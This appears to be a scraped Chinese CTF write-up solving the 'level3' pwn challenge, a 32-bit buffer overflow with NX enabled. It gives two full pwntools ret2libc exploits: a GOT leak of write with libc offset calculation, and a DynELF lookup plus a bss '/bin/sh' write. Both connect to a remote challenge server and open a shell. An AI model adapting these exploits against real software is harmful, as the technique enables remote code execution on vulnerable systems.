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检查一下保护机制

开了NX,不能执行shellcode,首先选择ROP方式获取shell

https://blog.csdn.net/qq_41743240
https://blog.csdn.net/qq_41743240/category_9885269.html
https://blog.csdn.net/qq_41743240/category_9885270.html
https://so.csdn.net/so/search/s.do?q=%25E4%25BF%25A1%25E6%2581%25AF%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/qq_41743240/article/details/105504991
https://blog.csdn.net/qq_41743240/category_9885269.html
https://blog.csdn.net/qq_41743240/category_9885270.html
https://mp.csdn.net/clock?utm_campaign=marketingcard&utm_source=qq_41743240&utm_content=105504991


通过IDA反编译调试, 发现在vulnerable_function函数这里存在溢出漏洞

查询一下有没有可利用函数

无system和/bin/sh

本题可以有两种解题思路本题可以有两种解题思路



思路一思路一

根据题目给出的libc泄露system和/bin/sh
该如何泄露呢?
这里有一个公式: libc函数 = 程序函数 - libc偏移
所以本题思路:
1.利用write泄露write函数的got地址
2.获取libc的write函数地址
3.获取libc偏移
4.获取system,公式 system = libc的system + libc偏移
5.获取/bin/sh,方法同system

exploit:

#coding:utf-8
from pwn import *

#p=process("level3")
p=remote('159.138.137.79',57457)
libc=ELF("libc_32.so.6")
elf=ELF("level3")

#plt - got
write_plt_addr=elf.plt['write']
write_got_addr=elf.got['write']

#main | start
main_addr=elf.sym['main']
log.success("main:"+hex(main_addr))

#write(1,write,4)
#泄露got-write地址
payload='A'*140+p32(write_plt_addr)+p32(main_addr)+p32(1)+p32(write_got_addr)+p32(4)
p.sendlineafter("nput:\n",payload)
write_addr=u32(p.recv(4))
log.success("write:"+hex(write_addr))

#libc,offset
#获取libc偏移
libc_offset=write_addr - libc.sym['write']
log.success("libc_offset:"+hex(libc_offset))

#libc - system - /bin/sh
#获取system和/bin/sh
sys_addr=libc_offset+libc.sym['system']
log.success("system:"+hex(sys_addr))
bin_sh_addr=libc_offset+libc.search("/bin/sh").next()
log.success("/bin/sh:"+hex(bin_sh_addr))

#->exploit
#最终shell
payload='A'*140+p32(sys_addr)+p32(0xdeadbeef)+p32(bin_sh_addr)
p.sendline(payload)
p.interactive()



思路二思路二

通过DynELF泄露system
具体可以参考这篇文章

这里讲解一下怎么写入/bin/sh:
在程序运行时,会将内存分为几个段,比如常见的stack段和heap段,这里我们可以将/bin/sh写到bss段中,bss段刚好满足要求,可读可
写

怎么获取bss段呢?
可以使用readelf获取

获取到bss段的地址为0x0804a024
可以看使用python pwn方法获取
e=ELF(‘level3’)
bss=e.bss()
同样获取到0x0804a024

exploit:

https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=42933&highlight=pwn


from pwn import *

#p=process("level3")
p=remote('159.138.137.79',57457)
e=ELF('level3')

read_addr=e.sym['read']
write_addr=e.sym['write']
pop_ret=0x080482f1
main_addr=0x08048350

def leak(address):
    payload='A'*140+p32(write_addr)+p32(main_addr)+p32(1)+p32(address)+p32(4)
    p.sendlineafter('Input:\n',payload)
    data=p.recv(4)
    return data

d=DynELF(leak,elf=ELF('level3'))
sys_addr=d.lookup('__libc_system','libc')
log.success("system:"+hex(sys_addr))

bss_addr=e.bss()
log.success('bss:'+hex(bss_addr))

payload='A'*140
payload+=p32(read_addr)+p32(sys_addr)+p32(0)+p32(bss_addr)+p32(8)
payload+='AAAA'+p32(bss_addr)
p.sendlineafter('Input:\n',payload)
p.sendline('/bin/sh')

p.interactive()
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